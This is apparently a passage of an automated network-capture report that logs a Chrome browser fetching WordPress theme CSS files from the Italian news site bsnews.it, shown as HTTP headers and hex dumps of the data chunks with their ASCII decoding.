29 3b 77 69 64 74 68 3a 31 30 30 25 3b 7a 2d 69 6e 64 65 78 3a 2d 31 7d 23 74 64 2d 6d 6f 62 69 6c 65 2d 6e 61 76 20 2e 74 Data Ascii: ne-height:20px;position:relative;top:3px;opacity:.3}#td-mobile-nav .td-guest-wrap .td-menu-login a{cursor:pointer}#td-mobile-nav .td-register-section{position:absolute;top:0;color:var(--td_mobile_text_color,#ffffff);width:100%;z-index:-1}#td-mobile-nav .t
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 2d 73 68 61 64 6f 77 3a 30 20 30 20 38 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 36 29 3b 6d 61 72 67 69 6e 3a 31 37 70 78 20 30 20 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 37 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 74 64 5f 6d 6f 62 69 6c 65 5f 62 75 74 74 6f 6e 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 6d 6f 62 2c 23 66 66 66 66 66 66 29 3b 6f 70 61 63 69 74 79 3a 2e 38 3b 74 65 78 74 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 7d 23 74 64 2d 6d 6f 62 69 6c 65 2d 6e 61 76 20 2e 74 64 2d 72 65 67 69 73 74 65 72 2d 73 65 63 74 69 6f 6e 20 2e 74 64 2d 6c 6f 67 69 6e 2d 73 6f 63 69 61 6c 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 33 70 78 3b 6d Data Ascii: -shadow:0 0 8px rgba(0,0,0,.36);margin:17px 0 15px;font-size:17px;border-radius:0;background-color:var(--td_mobile_button_background_mob,#ffffff);opacity:.8;text-shadow:none}#td-mobile-nav .td-register-section .td-login-social{width:100%;margin-top:13px;m
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 68 74 3a 37 30 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 7d 23 74 64 2d 6d 6f 62 69 6c 65 2d 6e 61 76 20 2e 74 64 2d 6c 6f 67 69 6e 2d 66 6f 72 6d 2d 6d 6f 62 69 6c 65 2d 66 62 2d 6f 70 65 6e 20 2e 74 64 2d 6c 6f 67 69 6e 2d 63 6c 6f 73 65 2c 23 74 64 2d 6d 6f 62 69 6c 65 2d 6e 61 76 20 2e 74 64 2d 6c 6f 67 69 6e 2d 66 6f 72 6d 2d 6d 6f 62 69 6c 65 2d 66 62 2d 6f 70 65 6e 20 2e 74 64 2d 72 65 67 69 73 74 65 72 2d 63 6c 6f 73 65 2c 23 74 64 2d 6d 6f 62 69 6c 65 2d 6e 61 76 20 2e 74 64 2d 6c 6f 67 69 6e 2d 66 6f 72 6d 2d 6d 6f 62 69 6c 65 2d 66 62 2d 6f 70 65 6e 20 2e 74 64 2d 6c 6f 67 69 6e 2d 70 61 6e 65 6c 2d 74 69 74 6c 65 2c 23 74 64 2d 6d 6f 62 69 6c 65 2d 6e 61 76 20 2e 74 64 2d 6c 6f 67 69 6e 2d 66 Data Ascii: ht:700;width:100%;margin-bottom:10px}#td-mobile-nav .td-login-form-mobile-fb-open .td-login-close,#td-mobile-nav .td-login-form-mobile-fb-open .td-register-close,#td-mobile-nav .td-login-form-mobile-fb-open .td-login-panel-title,#td-mobile-nav .td-login-f
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 74 74 6f 6d 3a 34 38 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 7d 40 6d 65 64 69 61 28 6d 61 78 2d 77 69 64 74 68 3a 37 36 37 70 78 29 7b 2e 74 64 5f 62 6c 6f 63 6b 5f 77 72 61 70 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 32 70 78 7d 7d 2e 74 64 5f 62 6c 6f 63 6b 5f 77 72 61 70 20 2e 74 64 2d 6e 65 78 74 2d 70 72 65 76 2d 77 72 61 70 2c 2e 74 64 5f 62 6c 6f 63 6b 5f 77 72 61 70 20 2e 74 64 2d 6c 6f 61 64 2d 6d 6f 72 65 2d 77 72 61 70 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 7d 40 6d 65 64 69 61 28 6d 61 78 2d 77 69 64 74 68 3a 37 36 37 70 78 29 7b 2e 74 64 5f 62 6c 6f 63 6b 5f 77 72 61 70 20 2e 74 64 2d 6e 65 78 74 2d 70 72 65 76 2d 77 72 61 70 2c 2e 74 64 5f 62 6c 6f 63 6b 5f 77 72 61 70 20 Data Ascii: ttom:48px;position:relative;clear:both}@media(max-width:767px){.td_block_wrap{margin-bottom:32px}}.td_block_wrap .td-next-prev-wrap,.td_block_wrap .td-load-more-wrap{margin-top:20px}@media(max-width:767px){.td_block_wrap .td-next-prev-wrap,.td_block_wrap
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 6f 72 3a 76 61 72 28 2d 2d 74 64 5f 74 68 65 6d 65 5f 63 6f 6c 6f 72 2c 23 34 64 62 32 65 63 29 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 74 64 5f 74 68 65 6d 65 5f 63 6f 6c 6f 72 2c 23 34 64 62 32 65 63 29 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 74 64 2d 6e 65 78 74 2d 70 72 65 76 2d 77 72 61 70 20 2e 61 6a 61 78 2d 70 61 67 65 2d 64 69 73 61 62 6c 65 64 7b 6f 70 61 63 69 74 79 3a 2e 35 7d 2e 74 64 2d 6e 65 78 74 2d 70 72 65 76 2d 77 72 61 70 20 2e 74 64 2d 61 6a 61 78 2d 6e 65 78 74 2d 70 61 67 65 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 70 78 7d 2e 74 64 2d 6e 65 78 74 2d 70 72 65 76 2d 77 72 61 70 20 2e 74 64 2d 61 6a 61 78 2d 70 72 65 76 2d 70 61 67 65 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 70 78 7d 2e 74 64 2d 6e 65 78 Data Ascii: or:var(--td_theme_color,#4db2ec);border-color:var(--td_theme_color,#4db2ec);color:#fff}.td-next-prev-wrap .ajax-page-disabled{opacity:.5}.td-next-prev-wrap .td-ajax-next-page{padding-left:2px}.td-next-prev-wrap .td-ajax-prev-page{padding-right:1px}.td-nex
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 20 73 76 67 7b 77 69 64 74 68 3a 37 70 78 3b 68 65 69 67 68 74 3a 38 70 78 7d 2e 74 64 5f 61 6a 61 78 5f 6c 6f 61 64 5f 6d 6f 72 65 20 2e 74 64 2d 6c 6f 61 64 2d 6d 6f 72 65 2d 69 63 6f 6e 2d 73 76 67 20 73 76 67 2c 2e 74 64 5f 61 6a 61 78 5f 6c 6f 61 64 5f 6d 6f 72 65 20 2e 74 64 2d 6c 6f 61 64 2d 6d 6f 72 65 2d 69 63 6f 6e 2d 73 76 67 20 73 76 67 20 2a 7b 66 69 6c 6c 3a 23 37 36 37 36 37 36 7d 2e 74 64 5f 61 6a 61 78 5f 6c 6f 61 64 5f 6d 6f 72 65 3a 68 6f 76 65 72 20 2e 74 64 2d 6c 6f 61 64 2d 6d 6f 72 65 2d 69 63 6f 6e 2d 73 76 67 20 73 76 67 2c 2e 74 64 5f 61 6a 61 78 5f 6c 6f 61 64 5f 6d 6f 72 65 3a 68 6f 76 65 72 20 2e 74 64 2d 6c 6f 61 64 2d 6d 6f 72 65 2d 69 63 6f 6e 2d 73 76 67 20 73 76 67 20 2a 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 64 5f 61 6a Data Ascii: svg{width:7px;height:8px}.td_ajax_load_more .td-load-more-icon-svg svg,.td_ajax_load_more .td-load-more-icon-svg svg {fill:#767676}.td_ajax_load_more:hover .td-load-more-icon-svg svg,.td_ajax_load_more:hover .td-load-more-icon-svg svg {fill:#fff}.td_aj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49756	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:00 UTC	712	OUT	GET /wp-content/plugins/td-standard-pack/Newspaper/assets/css/td_standard_pack_main.css?ver=4a3a1b49b2d9e88d0d2e7189313f4145 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:00 UTC	727	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:00 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=734325 etag: W/"65f2065f-b3475" last-modified: Wed, 13 Mar 2024 20:02:39 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6828 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=325XZB3fprNBHJov8D96ae7fBYPJrFnJs5ltWB0WB%2Fu6E9qmiFUmdXCD6UFWncoqlqAfHHz8ACvoJWgP2mmq03zBGaqlRiLqCpLuJFG6wDgY%2BCZA5wdp50bAxrA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b660368f46802a-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:00 UTC	642	IN	Data Raw: 37 63 64 35 0d 0a 2e 6d 78 5f 69 6d 61 67 65 5f 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 32 66 32 66 32 7d 2e 74 64 2d 76 69 73 69 62 69 6c 69 74 79 2d 68 69 64 64 65 6e 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 2e 63 6c 65 61 72 66 69 78 7b 2a 7a 6f 6f 6d 3a 31 7d 2e 63 6c 65 61 72 66 69 78 3a 62 65 66 6f 72 65 2c 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2f 2a 21 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 33 2e 30 2e 32 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 2e 69 6f Data Ascii: 7cd5.mx_image_background{background-color:#f2f2f2}.td-visibility-hidden{visibility:hidden}.clearfix{zoom:1}.clearfix:before,.clearfix:after{display:table;content:"";line-height:0}.clearfix:after{clear:both}/!normalize.css v3.0.2 \| MIT License \| git.io
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 70 61 72 65 6e 74 7d 61 3a 61 63 74 69 76 65 2c 61 3a 68 6f 76 65 72 7b 6f 75 74 6c 69 6e 65 3a 30 7d 61 62 62 72 5b 74 69 74 6c 65 5d 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 64 6f 74 74 65 64 7d 62 2c 73 74 72 6f 6e 67 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 64 66 6e 7b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 65 6d 3b 6d 61 72 67 69 6e 3a 2e 36 37 65 6d 20 30 7d 6d 61 72 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 7d 73 6d 61 6c 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 30 25 7d 73 75 62 2c 73 75 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 37 35 25 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 Data Ascii: parent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 20 32 70 78 3b 70 61 64 64 69 6e 67 3a 2e 33 35 65 6d 20 2e 36 32 35 65 6d 20 2e 37 35 65 6d 7d 6c 65 67 65 6e 64 7b 62 6f 72 64 65 72 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 74 65 78 74 61 72 65 61 7b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 7d 6f 70 74 67 72 6f 75 70 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 74 61 62 6c 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6c 61 70 73 65 3a 63 6f 6c 6c 61 70 73 65 3b 62 6f 72 64 65 72 2d 73 70 61 63 69 6e 67 3a 30 7d 74 64 2c 74 68 7b 70 61 64 64 69 6e 67 3a 30 7d 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 31 31 34 31 70 78 29 7b 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 61 Data Ascii: 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:700}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}.td_stretch_container{width:100%!important}@media(min-width:1141px){.td_stretch_conta
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 64 2d 6c 61 79 6f 75 74 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 38 20 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 61 69 6e 65 72 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 6c 6f 67 6f 7b 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 2c 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 32 30 30 2c 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 34 30 30 2c 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 36 30 30 2c 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 38 30 30 7b 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 31 31 34 31 70 78 29 7b 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e Data Ascii: d-layout .td-header-style-8 .td_stretch_container .td-header-sp-logo{width:100%!important}}.td_stretch_content,.td_stretch_content_1200,.td_stretch_content_1400,.td_stretch_content_1600,.td_stretch_content_1800{}@media(min-width:1141px){.td_stretch_conten
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 6c 6f 63 6b 5f 6d 65 67 61 5f 6d 65 6e 75 20 2e 74 64 5f 6d 65 67 61 5f 6d 65 6e 75 5f 73 75 62 5f 63 61 74 73 20 2e 63 75 72 2d 73 75 62 2d 63 61 74 2c 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 34 30 30 20 2e 74 64 5f 62 6c 6f 63 6b 5f 6d 65 67 61 5f 6d 65 6e 75 20 2e 74 64 5f 6d 65 67 61 5f 6d 65 6e 75 5f 73 75 62 5f 63 61 74 73 20 2e 63 75 72 2d 73 75 62 2d 63 61 74 2c 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 36 30 30 20 2e 74 64 5f 62 6c 6f 63 6b 5f 6d 65 67 61 5f 6d 65 6e 75 20 2e 74 64 5f 6d 65 67 61 5f 6d 65 6e 75 5f 73 75 62 5f 63 61 74 73 20 2e 63 75 72 2d 73 75 62 2d 63 61 74 2c 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 38 30 30 20 2e 74 64 5f 62 6c 6f 63 6b 5f 6d 65 67 61 5f 6d 65 Data Ascii: lock_mega_menu .td_mega_menu_sub_cats .cur-sub-cat,.td_stretch_content_1400 .td_block_mega_menu .td_mega_menu_sub_cats .cur-sub-cat,.td_stretch_content_1600 .td_block_mega_menu .td_mega_menu_sub_cats .cur-sub-cat,.td_stretch_content_1800 .td_block_mega_me
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 65 6e 74 5f 31 34 30 30 2e 74 64 2d 68 65 61 64 65 72 2d 6d 65 6e 75 2d 77 72 61 70 2d 66 75 6c 6c 2c 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 36 30 30 2e 74 64 2d 68 65 61 64 65 72 2d 6d 65 6e 75 2d 77 72 61 70 2d 66 75 6c 6c 2c 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 38 30 30 2e 74 64 2d 68 65 61 64 65 72 2d 6d 65 6e 75 2d 77 72 61 70 2d 66 75 6c 6c 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 32 30 30 20 2e 74 64 2d 68 65 61 64 65 72 2d 6d 65 6e 75 2d 77 72 61 70 2c 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 34 30 30 20 2e 74 64 2d 68 65 61 64 65 72 2d 6d 65 6e 75 2d 77 72 61 Data Ascii: ent_1400.td-header-menu-wrap-full,.td_stretch_content_1600.td-header-menu-wrap-full,.td_stretch_content_1800.td-header-menu-wrap-full{padding-left:0;padding-right:0}.td_stretch_content_1200 .td-header-menu-wrap,.td_stretch_content_1400 .td-header-menu-wra
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 73 74 61 67 72 61 6d 2d 75 73 65 72 2c 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 32 30 30 2e 74 64 2d 66 6f 6f 74 65 72 2d 69 6e 73 74 61 67 72 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 64 5f 62 6c 6f 63 6b 5f 69 6e 73 74 61 67 72 61 6d 7b 6d 61 78 2d 77 69 64 74 68 3a 31 32 30 30 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 77 69 64 74 68 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 34 30 30 20 2e 74 64 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 34 30 30 2e 74 64 2d 66 6f 6f 74 65 72 2d 69 6e 73 74 61 67 72 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 64 2d 69 6e 73 74 61 67 72 61 6d 2d 75 73 65 72 2c 2e 74 64 5f 73 74 Data Ascii: stagram-user,.td_stretch_content_1200.td-footer-instagram-container .td_block_instagram{max-width:1200px!important;width:auto!important}.td_stretch_content_1400 .td-container,.td_stretch_content_1400.td-footer-instagram-container .td-instagram-user,.td_st
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 20 30 20 32 32 70 78 20 32 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 74 64 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 36 20 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 7b 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 31 31 34 31 70 78 29 7b 2e 74 64 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 36 20 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 20 23 74 64 2d 68 65 61 64 65 72 2d 6d 65 6e 75 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 38 70 78 7d 7d 2e 74 64 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 37 20 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 7b 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 31 31 34 31 70 78 29 7b 2e 74 64 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 37 20 2e 74 64 5f 73 74 72 Data Ascii: 0 22px 22px!important}}.td-header-style-6 .td_stretch_content{}@media(min-width:1141px){.td-header-style-6 .td_stretch_content #td-header-menu{padding-right:48px}}.td-header-style-7 .td_stretch_content{}@media(min-width:1141px){.td-header-style-7 .td_str
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 67 6f 2c 2e 74 64 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 38 20 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 32 30 30 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 6c 6f 67 6f 2c 2e 74 64 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 38 20 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 34 30 30 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 6c 6f 67 6f 2c 2e 74 64 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 38 20 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 36 30 30 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 6c 6f 67 6f 2c 2e 74 64 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 38 20 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 38 30 30 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 6c 6f 67 6f 7b Data Ascii: go,.td-header-style-8 .td_stretch_content_1200 .td-header-sp-logo,.td-header-style-8 .td_stretch_content_1400 .td-header-sp-logo,.td-header-style-8 .td_stretch_content_1600 .td-header-sp-logo,.td-header-style-8 .td_stretch_content_1800 .td-header-sp-logo{
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 74 64 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 38 20 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 34 30 30 2e 74 64 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 74 64 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 38 20 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 36 30 30 2e 74 64 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 74 64 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 38 20 2e 74 64 5f 73 74 72 65 74 63 68 5f 63 6f 6e 74 65 6e 74 5f 31 38 30 30 2e 74 64 2d 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 39 38 30 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 30 31 38 70 78 29 7b 2e 74 64 Data Ascii: -container,.td-header-style-8 .td_stretch_content_1400.td-container,.td-header-style-8 .td_stretch_content_1600.td-container,.td-header-style-8 .td_stretch_content_1800.td-container{width:980px!important}}@media(min-width:768px) and (max-width:1018px){.td

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49757	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:00 UTC	689	OUT	GET /wp-content/plugins/td-cloud-library/assets/css/tdb_main.css?ver=be262a20ca49ba5e513ad6176c77b975 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:00 UTC	724	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:00 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=48163 etag: W/"65f20645-bc23" last-modified: Wed, 13 Mar 2024 20:02:13 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 121 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xDbMjzKO%2FIvMEiw6Z81M2MSHTImMUyJtI5ITK5PC0TrXMyPTdGVFTEpe3UZbUUj00IW60NzmbyeokBiR%2BJIGBBZNl3D0BXSRI64ZRq4FmkaHkuTjTal4aIcbycs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b660369c259c88-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:00 UTC	645	IN	Data Raw: 37 63 65 30 0d 0a 2e 74 64 62 2d 73 2d 70 61 67 65 2d 73 65 63 2d 68 65 61 64 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 35 70 78 7d 62 6f 64 79 20 2e 74 64 62 2d 73 70 73 68 2d 74 69 74 6c 65 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 32 39 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6c 6f 72 3a 23 31 64 32 33 32 37 7d 2e 74 64 62 2d 73 2d 62 74 6e 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 62 61 Data Ascii: 7ce0.tdb-s-page-sec-header{margin-bottom:35px}body .tdb-spsh-title{margin:0;font-family:inherit;font-size:1.429em;font-weight:500;line-height:1.2;color:#1d2327}.tdb-s-btn{display:inline-flex;align-items:center;justify-content:center;position:relative;ba
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 67 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 2e 39 65 6d 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 65 6d 7d 2e 74 64 62 2d 73 2d 62 74 6e 3a 68 6f 76 65 72 2c 2e 74 64 62 2d 73 2d 62 74 6e 3a 61 63 74 69 76 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 31 35 32 62 66 37 7d 2e 74 64 62 2d 73 2d 62 74 6e 3a 61 63 74 69 76 65 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 7b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 31 2c 34 33 2c 32 34 37 2c 2e 32 29 7d 2e 74 64 62 2d 73 2d 62 74 6e 3a 64 69 73 61 62 6c 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 39 61 63 66 